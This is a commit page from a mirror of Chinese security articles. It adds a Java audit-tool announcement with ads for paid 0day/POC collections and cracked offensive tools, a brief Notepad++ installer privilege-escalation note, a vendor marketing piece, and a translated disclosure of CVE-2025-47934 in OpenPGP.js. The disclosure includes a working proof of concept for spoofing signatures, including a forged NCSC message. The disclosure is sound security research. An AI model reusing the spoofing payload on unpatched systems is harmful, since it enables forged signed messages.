mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-28 19:30:54 +00:00
思科修复了可能导致 root 级远程代码执行的关键 ISE 漏洞、【情报】Notepad++存在高危提权漏洞CVE-2025-49144、当分公司突遭漏洞通报……如何揪出安全管理“暗礁”？、CVE-2025-47934 – 欺骗 OpenPGP.js 签名验证、About基于Python javalang库开发的一款轻量级Java源代码审计工具|漏洞探测、
This commit is contained in:
test committed
1 parent
7ca972eec9
commit
501fa16dd6
6 files changed
+655
-1
No files matched your search
@@ -15646,5 +15646,10 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg3NjU0OTQyMg==&mid=2247484434&idx=1&sn=fdcc1421f4fe465e4fa8104b5e7ccb6f": "【漏洞预警】Gogs远程命令执行漏洞风险通告",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg5ODUxMzg0Ng==&mid=2247500337&idx=1&sn=cf1c9b178de58a55c1e8bb36541666c2": "还在为代码安全发愁？这款“漏洞规则库”神器请查收！",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIyMjQwMTQ3Ng==&mid=2247491568&idx=1&sn=56bef06681cde2ce8161fa8cfaeab4db": "【国际视野】美国网络安全和基础设施安全局与国家安全局联合发布《内存安全语言：减少现代软件开发中的漏洞》指南",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg4Nzk3MTg3MA==&mid=2247488427&idx=1&sn=9fc8ecfaa6360e9fbcf4ea5c4618a39d": "“你刷的小红书，其实在裸奔？”——黑客揭秘App开发者模式背后的漏洞发现与利用"
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg4Nzk3MTg3MA==&mid=2247488427&idx=1&sn=9fc8ecfaa6360e9fbcf4ea5c4618a39d": "“你刷的小红书，其实在裸奔？”——黑客揭秘App开发者模式背后的漏洞发现与利用",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg3OTc0NDcyNQ==&mid=2247494116&idx=1&sn=5076fd18e8149cf5d4485f4282758220": "思科修复了可能导致 root 级远程代码执行的关键 ISE 漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzMTYyMDk1Nw==&mid=2247483880&idx=1&sn=33c146d72d472dd3162c8ead79ed0453": "【情报】Notepad++存在高危提权漏洞CVE-2025-49144",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzA4MTg0MDQ4Nw==&mid=2247581004&idx=1&sn=2f71cde362d2e5dec4e3585e1ac450be": "当分公司突遭漏洞通报……如何揪出安全管理“暗礁”？",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247531390&idx=1&sn=ea0a1db7611361fced3917c01d483312": "CVE-2025-47934 – 欺骗 OpenPGP.js 签名验证",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg3ODE2MjkxMQ==&mid=2247492672&idx=1&sn=7e12184e991333cec5e692eaa1493756": "About基于Python javalang库开发的一款轻量级Java源代码审计工具|漏洞探测"
|
||||
}
|
||||
@@ -0,0 +1,170 @@
|
||||
# About基于Python javalang库开发的一款轻量级Java源代码审计工具|漏洞探测
|
||||
Tr0e 渗透安全HackTwo 2025-06-26 16:01
|
||||
|
||||
0x01 工具介绍
|
||||
|
||||
|
||||
**JavaSinkTracer**
|
||||
是一款基于 Python javalang 库的轻量级 Java 源代码漏洞审计工具，通过“函数级”污点分析，从 Sink 点反向追溯调用链，规避变量级分析的断链问题。
|
||||
|
||||
**注意：**
|
||||
现在只对常读和星标的公众号才展示大图推送，建议大家把
|
||||
**渗透安全HackTwo**
|
||||
"**设为****星标⭐️**
|
||||
"
|
||||
**否****则可能就看不到了啦！**
|
||||
|
||||
**下载地址在末尾#渗透安全HackTwo**
|
||||
|
||||
0x02
|
||||
功能简介
|
||||
|
||||
|
||||
工具特点
|
||||
|
||||
此工具当前已实现的功能有：
|
||||
- 可在 Sink 配置文件中，自由拓展待检测的漏洞危险函数；
|
||||
|
||||
- 自动构建 Java 源代码中所有函数的互相调用关系图call graph；
|
||||
|
||||
- 从 Sink 点反向追溯到 Source 函数（可从配置文件的“depth”自定义追溯深度），提取调用链；
|
||||
|
||||
- 程序自动识别“污点传播链路”上“不包含任何参数”的函数，排除不可能存在外部可控变量的链路；
|
||||
|
||||
- 借助 Python javalang 三方库，自动提取每条“函数级污点链路”上所有函数的源代码，方便分析审计；
|
||||
|
||||
- 自动生成漏洞报告（Md和html两种格式），Html报告支持漏洞栏目导航、漏洞代码高亮、代码变量跟踪等；
|
||||
|
||||
## 效果
|
||||
## 以主流的开源 Java 漏洞靶场 java-sec-code 为例，扫描过程和漏洞报告效果如下：
|
||||
|
||||
|
||||
##
|
||||
|
||||
|
||||
## 漏洞的报告展示，以其中一个涉及到跨文件 SSRF 漏洞链路为例：
|
||||
|
||||
|
||||
##
|
||||
> 【注意】工具扫描出来的漏洞数量，受Sink点配置文件的影响。上述扫描过程我仅配置了简单的RCE、反序列化、SSRF漏洞Sink点的扫描结果，故并未覆盖此靶场的全量漏洞。
|
||||
|
||||
|
||||
****
|
||||
0x03更新说明
|
||||
```
|
||||
Todo
|
||||
以下功能留给读者自行拓展完善：
|
||||
添加更多漏洞危险函数规则；
|
||||
借助 AI 分析提取的污点链路代码；
|
||||
精准化提取污点链路上的函数（当前并未考虑Java多态）；
|
||||
此工具尚未经大量项目实践，可能存在诸多考虑不周导致的缺陷，欢迎反馈和共同改进。
|
||||
```
|
||||
|
||||
0x04 使用介绍
|
||||
|
||||
📦用法
|
||||
|
||||
基础环境：
|
||||
```
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
|
||||
运行命令：
|
||||
```
|
||||
python JavaSinkTracer.py [-h] [-p PROJECTPATH] [-o OUTPUTPATH]
|
||||
```
|
||||
|
||||
完整参数：
|
||||
```
|
||||
λ python JavaSinkTracer.py -h
|
||||
███████╗███████╗ ██████╗
|
||||
██╔════╝██╔════╝██╔════╝
|
||||
███████╗█████╗ ██║
|
||||
╚════██║██╔══╝ ██║
|
||||
███████║███████╗╚██████╗
|
||||
╚══════╝╚══════╝ ╚═════╝
|
||||
Java源代码漏洞审计工具_Tr0e
|
||||
usage: JavaSinkTracer.py [-h] [-p PROJECTPATH] [-o OUTPUTPATH]
|
||||
JavaSinkTracer
|
||||
options:
|
||||
-h, --help show this help message and exit
|
||||
-p PROJECTPATH, --projectPath PROJECTPATH
|
||||
待扫描的项目本地路径根目录，默认值：D:/Code/Github/java-sec-code
|
||||
-o OUTPUTPATH, --outputPath OUTPUTPATH
|
||||
指定扫描报告输出的本地路径根目录，默认值：当前项目根路径下的 Result 子文件夹
|
||||
```
|
||||
|
||||
|
||||
**0x05 内部VIP星球介绍-V1.4（福利）**
|
||||
|
||||
如果你想学习更多**渗透测试技术/应急溯源/免杀/挖洞赚取漏洞赏金/红队打点**
|
||||
欢迎加入我们**内部星球**
|
||||
可获得内部工具字典和享受内部资源和
|
||||
内部交流群，**每1-2天更新1day/0day漏洞刷分上分****(2025POC更新至4000+)**
|
||||
**，**
|
||||
包含网上一些**付费****工具及BurpSuite自动化漏****洞探测插件，AI代审工具等等**
|
||||
。shadon\Quake\
|
||||
Fofa高级会员，CTFShow等各种账号会员共享。详情直接点击下方链接进入了解，觉得价格高的师傅可后台回复"
|
||||
**星球**
|
||||
"有优惠券名额有限先到先得！全网资源
|
||||
最新
|
||||
最丰富！**（🤙截止目前已有1900+多位师傅选择加入❗️早加入早享受）**
|
||||
|
||||
****
|
||||
|
||||
**👉****点击了解加入-->>内部VIP知识星球福利介绍V1.4版本-1day/0day漏洞库及内部资源更新**
|
||||
|
||||
****
|
||||
|
||||
|
||||
结尾
|
||||
|
||||
# 免责声明
|
||||
|
||||
|
||||
# 获取方法
|
||||
|
||||
|
||||
**公众号回复20250627获取下载**
|
||||
|
||||
# 最后必看-免责声明
|
||||
|
||||
|
||||
|
||||
文章中的案例或工具仅面向合法授权的企业安全建设行为，如您需要测试内容的可用性，请自行搭建靶机环境，勿用于非法行为。如
|
||||
用于其他用途，由使用者承担全部法律及连带责任，与作者和本公众号无关。
|
||||
本项目所有收录的poc均为漏洞的理论判断，不存在漏洞利用过程，不会对目标发起真实攻击和漏洞利用。文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用。
|
||||
如您在使用本工具或阅读文章的过程中存在任何非法行为，您需自行承担相应后果，我们将不承担任何法律及连带责任。本工具或文章或来源于网络，若有侵权请联系作者删除，请在24小时内删除，请勿用于商业行为，自行查验是否具有后门，切勿相信软件内的广告！
|
||||
|
||||
|
||||
|
||||
# 往期推荐
|
||||
|
||||
|
||||
**1.内部VIP知识星球福利介绍V1.4（AI自动化工具）**
|
||||
|
||||
**2.CS4.8-CobaltStrike4.8汉化+插件版**
|
||||
|
||||
**3.最新BurpSuite2025.2.1专业版（新增AI模块）**
|
||||
|
||||
**4. 最新xray1.9.11高级版下载Windows/Linux**
|
||||
|
||||
**5. 最新HCL AppScan Standard**
|
||||
|
||||
|
||||
渗透安全HackTwo
|
||||
|
||||
微信号：关注公众号获取
|
||||
|
||||
后台回复星球加入：
|
||||
知识星球
|
||||
|
||||
扫码关注 了解更多
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
[全面资产收集流程及方法解析 万字长文窥探信息收集|挖洞技巧](https://mp.weixin.qq.com/s?__biz=Mzg3ODE2MjkxMQ==&mid=2247491574&idx=1&sn=48d865c82a228bd135a035419c765e94&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
@@ -0,0 +1,251 @@
|
||||
# CVE-2025-47934 – 欺骗 OpenPGP.js 签名验证
|
||||
Ots安全 2025-06-26 14:38
|
||||
|
||||
|
||||
|
||||
OpenPGP.js 是一个基于 RFC 9580 标准的 JavaScript 库，支持消息加密（对称和非对称）、签名及密钥管理，广泛应用于支持加密的网页邮件客户端。然而，该漏洞源于 OpenPGP.js 对畸形数据包列表的错误解析。例如，攻击者可以将一个合法签名消息（包含 One-Pass Signature、Literal Data 和 Signature 数据包）附加一个恶意 Compressed Data 数据包（包含伪造内容），尽管这不是有效的 PGP 消息格式，OpenPGP.js 仍会接受并返回恶意内容作为签名数据。
|
||||
|
||||
技术细节
|
||||
- 解析漏洞
|
||||
：
|
||||
openpgp.readMessage()
|
||||
和
|
||||
PacketList.read()
|
||||
在流式处理数据包时，仅读取支持流式传输的数据包（如 Literal Data），导致后续恶意数据包未被及时检查。
|
||||
|
||||
- 验证错误
|
||||
：
|
||||
Message.verify()
|
||||
和
|
||||
unwrapCompressed()
|
||||
的逻辑设计缺陷，使得签名验证基于合法数据，而最终返回的
|
||||
result.data
|
||||
却来自恶意数据包。
|
||||
|
||||
- 加密消息影响
|
||||
：
|
||||
openpgp.decrypt()
|
||||
结合解密和验证时，同样受影响，返回的
|
||||
data
|
||||
为恶意内容，而签名验证仍基于原始数据。
|
||||
|
||||
攻击演示
|
||||
|
||||
Codean Labs 提供了详细的证明-of-concept（PoC），通过 Python 脚本（如
|
||||
generate_spoofed_message.py
|
||||
）和 JavaScript 验证程序，展示了如何利用合法签名生成伪造消息。例如：
|
||||
- 从合法签名消息中提取签名，附加恶意内容后生成伪造消息。
|
||||
|
||||
- 针对荷兰国家网络安全中心（NCSC）的公开签名文件，伪造出“来自 Codean Labs 的问候”内容，并通过验证。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
这是CVE-2025-47934的说明，它是 Codean Labs 发现的 OpenPGP.js 漏洞，已在 v5.11.3 和 v6.1.1 中修补。
|
||||
|
||||
在获得目标作者（“Alice”）的有效签名后，攻击者可以利用此漏洞“伪造”Alice的任意签名（即使是加密消息），即使其（在OpenPGP.js用户看来）看起来像是Alice签署了任意消息。鉴于这是PGP的核心原则，会直接影响某些集成应用程序，因此整体风险被认为非常高。
|
||||
|
||||
本文解释了这是如何实现的，并在最后提供了概念证明。
|
||||
|
||||
介绍
|
||||
|
||||
OpenPGP.js 库提供了RFC 9580中指定的 OpenPGP 标准的实现。如果您曾经使用过加密电子邮件或签名的 git 提交，您可能对此标准很熟悉。从高层次上讲，OpenPGP 标准支持消息加密（对称和非对称）、消息签名以及密钥管理功能。
|
||||
|
||||
使用 OpenPGP.js，可以用 JavaScript 实现所有这些功能。许多支持加密的 Web 电子邮件客户端都使用了 OpenPGP.js，包括 Mailvelope 和 Proton Mail（尽管后者未受此问题影响）。
|
||||
|
||||
OpenPGP消息格式
|
||||
|
||||
所有 PGP 有效载荷（消息、分离签名和密钥）都仅由一系列数据包组成，没有总体报头。这些数据包遵循标准定义的相对简单但自定义的二进制协议。生成的二进制有效载荷可以按原样发送，但通常经过 base64 编码，从而形成“ASCII 封装”的有效载荷，例如：
|
||||
|
||||
```
|
||||
-----BEGIN PGP MESSAGE-----owGbwMvMwCV2JXpbW1xI0SnG0zxJDBkOns8zUnNy8rk6SlkYxLgYZMUUWWJ1LuTu9HFSqpFcxgtTzcoEUsrAxSkAE4nSYPgrzdL1bQ1bvfG9h44/3Dtkk7njvjC9XHE/2kzwLeOV+vTNjAyHZt4/96P3wN0H7x7Y79oondUbIc6a+Onj3578CtEn4Xu5AQ===0dLq-----END PGP MESSAGE-----
|
||||
```
|
||||
|
||||
|
||||
该签名消息由以下数据包组成：
|
||||
|
||||
压缩数据包：本身包含一个ZIP压缩包列表：
|
||||
1. 一次签名包：一个可选包，其中包含（除其他内容外）所使用的哈希算法，因此验证者可以开始对后续数据进行哈希处理。
|
||||
|
||||
1. 文字数据包：包含消息“hello”。
|
||||
|
||||
1. 签名包：包含其之前数据哈希值的加密（EdDSA）签名。
|
||||
|
||||
此结构具有相当大的灵活性。例如，封装压缩数据包完全是可选的。或者，内部的文字数据包可以用压缩数据包替换，其中包含更多数据包，例如属于加密消息或其他签名的数据包。允许的数据包结构已在标准（RFC 9580，第 10.3 节）中定义的语法规则中正式化。
|
||||
|
||||
无效的数据包列表
|
||||
|
||||
现在让我们考虑一个具有以下数据包列表的 PGP 消息，其中数据包 1-3 组成合法的签名消息，但添加了第四个数据包：
|
||||
1. 一次通过签名包
|
||||
|
||||
1. 文字数据包（“合法”）
|
||||
|
||||
1. 签名包（对包 1 有效）
|
||||
|
||||
1. 压缩数据包，包含文字数据包（“恶意”）
|
||||
|
||||
1. 由于末尾存在一个压缩数据
|
||||
|
||||
包，因此这不是一条有效的 OpenPGP 消息。 然而，事实证明，OpenPGP.js 不仅接受了该消息并将其视为有效，还在验证签名是否合法的同时，将“恶意”数据作为签名数据返回！
|
||||
|
||||
为了证明这一点，让我们采用一个简单的验证程序，类似于官方文档中给出的程序，并将我们特有的数据包列表作为消息传递给它：
|
||||
|
||||
```
|
||||
const openpgp = require('openpgp');(async () => { // Generated using: // cat \ // <(echo "legitimate" | gpg -s -z0) \ // <(printf "\xc8\x12\0\xcb\x0f\x62\0\0\0\0\0malicious") \ // | base64 let armoredMessage = `-----BEGIN PGP MESSAGE-----kA0DAAoW1Fu2hl5UcsoByxFiAGhBNptsZWdpdGltYXRlCoh1BAAWCgAdFiEEXSzQbblMQiJ8GaYN1Fu2hl5UcsoFAmhBNpsACgkQ1Fu2hl5UcsqE0QD/bsWYHJrrrK8RM8VgB4Z3K64zWfp49BOi+x0s9VJKyRoBALJdQhGzPwCERCANPR+KdX5ZdrX54ZpY9mriFG6O4hsFyBIAyw9iAAAAAABtYWxpY2lvdXM=-----END PGP MESSAGE-----`; // public key of thomas@codean.io const publicKeyArmored = `-----BEGIN PGP PUBLIC KEY BLOCK-----mDMEZSAfBhYJKwYBBAHaRw8BAQdAfdgd2yxL+pYN91ENyp/VZVdWXLjYDONG47jM4dDZDMG0IFRob21hcyBSaW5zbWEgPHRob21hc0Bjb2RlYW4uaW8+iI8EExYIADcWIQRdLNBtuUxCInwZpg3UW7aGXlRyygUCZSAfBgUJBaOagAIbAwQLCQgHBRUICQoLBRYCAwEAAAoJENRbtoZeVHLKpvIBANiaDeLPyaQyHkuzB8T6ZqvfJi4dXNlsqT2FdlUUip4ZAQDSAljghQC9jAQu8I8yMrQJd4SXD1EMH+NLNNYCDEZCC7g4BGUgHwYSCisGAQQBl1UBBQEBB0DOFmUm2nMIda8PzTquulLLy/bFwDtSqAiK1EBqEdvbaAMBCAeIfgQYFggAJhYhBF0s0G25TEIifBmmDdRbtoZeVHLKBQJlIB8GBQkFo5qAAhsMAAoJENRbtoZeVHLKCE8BAJEXE6za1G6pFpaZWKBRMlCbBDSE4rc7iEn5MpC56WtQAQCnVhRNYBjQ7Bo/VX1rx2+6wx84EXOFmoW80F96QmN0Bw===Obk+-----END PGP PUBLIC KEY BLOCK-----`; const publicKey = await openpgp.readKey({ armoredKey: publicKeyArmored }); const message = await openpgp.readMessage({ armoredMessage }); const verificationResult = await openpgp.verify({ message, verificationKeys: publicKey }); console.log(`Signed message data: ${verificationResult.data}`); const { verified, keyID } = verificationResult.signatures[0]; try { await verified; // throws on invalid signature console.log(`Verified signature by key id ${keyID.toHex()}`); } catch (e) { thrownewError(`Signature could not be verified: ${e.message}`); }})();
|
||||
```
|
||||
|
||||
|
||||
将以下内容打印到控制台：
|
||||
|
||||
```
|
||||
Signed message data: maliciousVerified signature by key id d45bb6865e5472ca
|
||||
```
|
||||
|
||||
|
||||
这太糟糕了！这意味着攻击者可以使用受害者之前创建的任何有效签名，并在签名仍然有效的情况下用任何内容“替换”已签名的数据。
|
||||
|
||||
要了解为什么会发生这种情况，我们需要了解 OpenPGP.js 如何解析消息。
|
||||
|
||||
一个严重的错误
|
||||
|
||||
传入的 PGP 消息使用高级 API 进行解析openpgp.readMessage()，最终调用PacketList.read()。
|
||||
|
||||
将输入数据包列表转换为流后，PacketList.read()从流中读取初始数据包序列，直到遇到流的末尾或支持流式传输的数据包类型（supportsStreaming(value.constructor.tag)），例如文字数据包：
|
||||
> OpenPGP 数据包格式允许将包含任意长度数据的数据包类型拆分成多个块，并在其报头中使用“部分主体长度”进行区分。解析端需要一些逻辑来重新组合这些数据包，因此这就是supportsStreaming()所指的。
|
||||
|
||||
|
||||
```
|
||||
// Wait until first few packets have been read const reader = streamGetReader(this.stream); while (true) { const { done, value } = await reader.read(); if (!done) { this.push(value); } else { this.stream = null; } if (done || supportsStreaming(value.constructor.tag)) { break; } }
|
||||
```
|
||||
|
||||
|
||||
如果我们采用之前的恶意数据包列表，则意味着在本次循环之后（即调用 之后openpgp.readMessage()），消息的内部packets数组（ 的一个实例PacketList）将仅包含数据包 1 和 2，即单次传递签名和文字数据（“合法”）数据包。其余数据包可能暂时不需要，因此仍待从数据包流中读取。
|
||||
|
||||
openpgp.verify()接下来，用户对 返回的消息对象调用高级 API openpgp.readMessage()。这将调用内部方法Message.verify()，其启动方式如下：
|
||||
|
||||
```
|
||||
async verify(verificationKeys, date = newDate(), config = defaultConfig) { const msg = this.unwrapCompressed(); // (1) const literalDataList = msg.packets.filterByTag(enums.packet.literalData); if (literalDataList.length !== 1) { thrownewError('Can only verify message with one literal data packet.'); } if (isArrayStream(msg.packets.stream)) { msg.packets.push(...await streamReadToEnd(msg.packets.stream, _ => _ || [])); // (2) } const onePassSigList = msg.packets.filterByTag(enums.packet.onePassSignature).reverse(); const signatureList = msg.packets.filterByTag(enums.packet.signature); // ...
|
||||
```
|
||||
|
||||
|
||||
为了进行签名验证，此函数从消息中获取文字数据包 ( literalDataList) 和签名数据包 ( )。 由于数据包列表可能尚未从流中完全检索到（就像我们的有效载荷一样），因此会调用 将所有剩余的数据包读入数组 (2)。关键在于，此操作发生在使用 (1) 获取自身之后。signatureList
|
||||
|
||||
streamReadToEnd()msg.packets msgthis.unwrapCompressed()
|
||||
|
||||
这是一个辅助方法，它要么返回找到的第一个压缩数据包内的数据包列表，要么在没有找到压缩数据包的情况下仅返回this（原始数据包列表）：
|
||||
|
||||
```
|
||||
unwrapCompressed() { const compressed = this.packets.filterByTag(enums.packet.compressedData); if (compressed.length) { returnnew Message(compressed[0].packets); } returnthis; }
|
||||
```
|
||||
|
||||
|
||||
此时，仍然仅由我们的有效载荷（一次传递签名和文字数据（“合法”））this.packets的数据包 1 和 2 组成，因此返回并将数据包 2 用作。thisliteralDataList
|
||||
|
||||
假设数据包 3 是数据包 2 的有效签名（“合法”），message.verify()则将成功并且控制流返回到openpgp.verify()：
|
||||
|
||||
```
|
||||
... if (signature) { result.signatures = await message.verifyDetached(signature, verificationKeys, date, config); } else { result.signatures = await message.verify(verificationKeys, date, config); } result.data = format === 'binary' ? message.getLiteralData() : message.getText(); ...
|
||||
```
|
||||
|
||||
|
||||
接下来，result.data设置为的输出message.getLiteralData()（或message.getText()，功能等效），这再次利用了unwrapCompressed()：
|
||||
|
||||
```
|
||||
getLiteralData() { const msg = this.unwrapCompressed(); const literal = msg.packets.findPacket(enums.packet.literalData); return (literal && literal.getBytes()) || null; }
|
||||
```
|
||||
|
||||
|
||||
然而，这次msg.packets包含完整的数据包列表（由于streamReadToEnd()之前调用过），因此unwrapCompressed()将返回它遇到的第一个压缩数据包（数据包 4）的内容，这是攻击者插入的文字数据包（“恶意”）。
|
||||
|
||||
此时验证通过后，手动调用message.getText()也会返回恶意的LiteralData内容：
|
||||
|
||||
```
|
||||
const message = await openpgp.readMessage({ payload });console.log(message.getText()); // prints "legitimate"const verificationResult = await openpgp.verify({ message, verificationKeys: publicKey });// verificationResult represents a valid signatureconsole.log(message.getText()); // prints "malicious"console.log(verificationResult.data); // prints "malicious"
|
||||
```
|
||||
|
||||
|
||||
这种逻辑显然是为了灵活处理压缩和未压缩的文字数据包。但似乎没有人考虑到这种格式错误的数据包列表！
|
||||
|
||||
加密消息
|
||||
|
||||
对于已签名并加密的消息，情况甚至更糟。高级 APIopenpgp.decrypt()将解密和验证结合在一起，并且通常（例如在官方示例代码中）从其输出中获取解密数据data，同时根据其signatures输出确定签名的有效性。
|
||||
|
||||
由于openpgp.decrypt()Just 函数在底层使用了相同的验证逻辑，因此存在同样的缺陷。因此，返回的data是攻击者控制的 Payload（“恶意”），而签名验证结果是基于原始 Payload 计算得出的（“合法”）。
|
||||
|
||||
```
|
||||
const { data, signatures } = await openpgp.decrypt({ message, verificationKeys: publicKey decryptionKeys: privateKey});console.log(data); // prints "malicious"try { await signatures[0].verified; console.log('Signature is valid'); // prints "Signature is valid"} catch (e) {}
|
||||
```
|
||||
|
||||
|
||||
没有像 那样的应急出口openpgp.verify()，message.getText()可以在验证之前调用。唯一安全的用法是将解密和验证分开，分为两个不同的步骤，verificationKeys第一步不使用参数。
|
||||
|
||||
概念验证
|
||||
> 从我们的 PoC 存储库下载这些文件。
|
||||
|
||||
> https://github.com/codean-labs/pocs/tree/main/CVE-2025-47934%20(OpenPGP.js)
|
||||
|
||||
|
||||
如上所示，构建恶意载荷只需获取一条现有的签名消息（必要时移除包装压缩），并附加一个包含恶意文字数据包的压缩数据包即可。为了方便添加任意恶意文本，我们编写了一个小型 Python 脚本 ( )，它可以为您生成数据包头，并打印出经过 ASCII 编码的伪造消息版本：generate_spoofed_message.py
|
||||
|
||||
```
|
||||
$echo"hello world" | gpg -s -z0 > legit_signed_message.pgp$ python generate_spoofed_message.py legit_signed_message.pgp > spoofed_message.asc$ node validate_signature.js spoofed_message.asc <(gpg --export -a [email protected])Signed message data: maliciousVerified signature by key id d45bb6865e5472ca: Thomas Rinsma <[email protected]>
|
||||
```
|
||||
|
||||
|
||||
此外，extract_from_clearsign_and_spoof.py还展示了如何从明文签名的消息中提取签名包，并由此生成伪造消息。以下是荷兰国家网络安全中心 (NCSC) 的说法，完全合法。😉
|
||||
|
||||
```
|
||||
# Extract victim's PGP key and a clear-signed message (security.txt in this case)$ wget https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2025/januari/06/pgp-key/pgp.txt$ wget https://www.ncsc.nl/.well-known/security.txt# Generate the spoofed message$ python extract_from_clearsign_and_spoof.py security.txt > spoofed_message.asc
|
||||
```
|
||||
|
||||
|
||||
|
||||
```
|
||||
$ node validate_signature.js spoofed_message.asc pgp.txtSigned message data: Hello from Codean Labs.Verified signature by key id cad4ceab247e705f: NCSC-NL 2025 <[email protected]>,NCSC-NL 2025 general information <[email protected]>
|
||||
```
|
||||
|
||||
|
||||
减轻
|
||||
|
||||
请将您的 OpenPGP.js 版本更新至 v5.11.3 或 v6.1.1，以缓解此漏洞的影响。如果您使用 Mailvelope 或其他间接使用 OpenPGP.js 的软件，也请务必更新。如果您直接使用 OpenPGP.js 且无法更新，维护人员发布的公告中也包含其他解决方法。
|
||||
|
||||
为了解决这个问题，开发人员已经开始实施严格的语法验证，以确保像我们的恶意数据包列表这样的无效消息尽早被拒绝。我们认为这是一个非常好的方法，因为它减少了攻击面，并且可能有助于防止将来再次出现类似问题。
|
||||
|
||||
|
||||
时间线
|
||||
- 2025-05-06 – 向 YesWeHack 上的 OpenPGP.js Bug Bounty 计划提交报告
|
||||
|
||||
- 2025-05-12 – 提供更多关于恶意payload的信息
|
||||
|
||||
- 2025-05-13 – 维护人员确认发现，开始协调修复
|
||||
|
||||
- 2025-05-19 – 分配 CVE-2025-47934，发布公告和修复
|
||||
|
||||
- OpenPGP.js v5.11.3 和 v6.1.1 发布
|
||||
|
||||
- Mailvelope v6.0.1 发布
|
||||
|
||||
- 2025-06-10 – 这篇博文已发布
|
||||
|
||||
|
||||
|
||||
感谢您抽出
|
||||
|
||||
|
||||
|
||||
.
|
||||
|
||||
|
||||
|
||||
.
|
||||
|
||||
|
||||
|
||||
来阅读本文
|
||||
|
||||
|
||||
|
||||
**点它，分享点赞在看都在这里**
|
||||
|
||||
@@ -0,0 +1,19 @@
|
||||
# 【情报】Notepad++存在高危提权漏洞CVE-2025-49144
|
||||
原创 JunYi 毅心安全 2025-06-26 14:34
|
||||
|
||||
|
||||
|
||||
# 【情报】Notepad++存在高危提权漏洞CVE-2025-49144
|
||||
|
||||
|
||||
|
||||
Notepad++
|
||||
安装器在寻找依赖可执行程序时，会先在当前文件夹中查找，用户运行安装器后自动加载目录下的所需程序，放入同名恶意程序后即可提权至 SYSTEM权限😂
|
||||
这个漏洞在实战比较鸡肋，前提是已经有主机权限了，但提权不了的场景，且机主想要安装NotePad++
|
||||
### CVE官方链接
|
||||
|
||||
https://www.cve.org/CVERecord?id=CVE-2025-49144
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,188 @@
|
||||
# 当分公司突遭漏洞通报……如何揪出安全管理“暗礁”？
|
||||
360数字安全 2025-06-26 10:23
|
||||
|
||||
****
|
||||
****
|
||||
5
|
||||
|
||||
领导
|
||||
|
||||
|
||||
9:00
|
||||
|
||||
老板，省监管局发现我们分公司在互联网上存在高危漏洞，要求24小时整改……
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
哪个分公司？
|
||||
|
||||
|
||||
|
||||
|
||||
漏洞在什么系统？
|
||||
|
||||
|
||||
|
||||
|
||||
为什么之前没告警？
|
||||
|
||||
是A分公司自己建了个客户活动平台
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
没有报给我们这里，CMDB里查不到......
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
第几次了！
|
||||
|
||||
|
||||
|
||||
|
||||
上个月是B分公司促销小程序泄露数据
|
||||
|
||||
|
||||
|
||||
|
||||
现在又是活动平台
|
||||
|
||||
|
||||
|
||||
|
||||
我们连自己有多少APP、API、小程序都没有底，怎么防？！
|
||||
|
||||
|
||||
这不是管理疏忽，而是企业数字化转型的必然困局。云计算、大数据、移动物联网等新技术的引入，让企业的数字化资产种类和数量迅速增加。
|
||||
|
||||
|
||||
- 资产有没有**漏网之鱼**
|
||||
会成为被攻击利用的目标？
|
||||
|
||||
- **私搭乱建**
|
||||
违规对外开放的高危端口能否及时发现？
|
||||
|
||||
- **APP、小程序**
|
||||
等新型资产是否有监测手段？
|
||||
|
||||
- 出现**1day漏洞**
|
||||
时需要多长时间发现问题资产？
|
||||
|
||||
……
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
面对这些问题，单纯依靠增加人力投入进行排查管理，不仅效率低下、成本高昂，而且难以应对数字化资产动态变化带来的安全风险。**真正需要的，是能够对全域数字化资产实时进行精准发现、分类、评估和监测的“神器”。最终，该公司选择360攻击面管理方案**
|
||||
，经过一段时间的试用：
|
||||
|
||||
|
||||
- 发现**237个**
|
||||
未备案的资产，及时关闭高危端口，避免数据泄露风险
|
||||
|
||||
- 建立了全集团统一资产数据库，资产覆盖率**超90%**
|
||||
|
||||
- 1day漏洞排查从数周缩短到**小时级**
|
||||
|
||||
- 资产归属率从60%提升到**90%**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**IDC：**
|
||||
|
||||
**360攻击面管理方案****市场领先**
|
||||
|
||||
|
||||
除了客户验证，360攻击面管理方案也得到了IDC的认可。近日，在IDC发布的《中国AI赋能的攻击面管理（ASM）市场份额，2024：AI/GenAI将引领技术变革，提升准确性、前瞻性与易用性》报告中，360攻击面管理方案凭借领先的技术优势和市场份额，获得IDC重点推荐。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
360攻击面管理方案主要由外部攻击面管理产品（360天相）、全网攻击面管理产品（360信息资产安全统一管理平台）、以及抗攻击能力评估系统（360 BAS）组成，该方案帮助政企将企业全网各类资产以及安全现状进行梳理和评估。
|
||||
|
||||
|
||||
360
|
||||
|
||||
|
||||
**全域资产透视，让影子资产无处遁形**
|
||||
|
||||
|
||||
360攻击面管理方案覆盖域名、IP、软件应用、证书、APP、公众号小程序、文档、代码、用户数据等十几个维度的互联网资产和5大类、87小类，50000+指纹特征。
|
||||
|
||||
|
||||
通过不断挖掘关键词、图片（icon）、证书等发现线索，梳理攻击面资产暴露现状，从而进一步挖掘风险点，帮助企业精准掌握全网资产。
|
||||
|
||||
360
|
||||
|
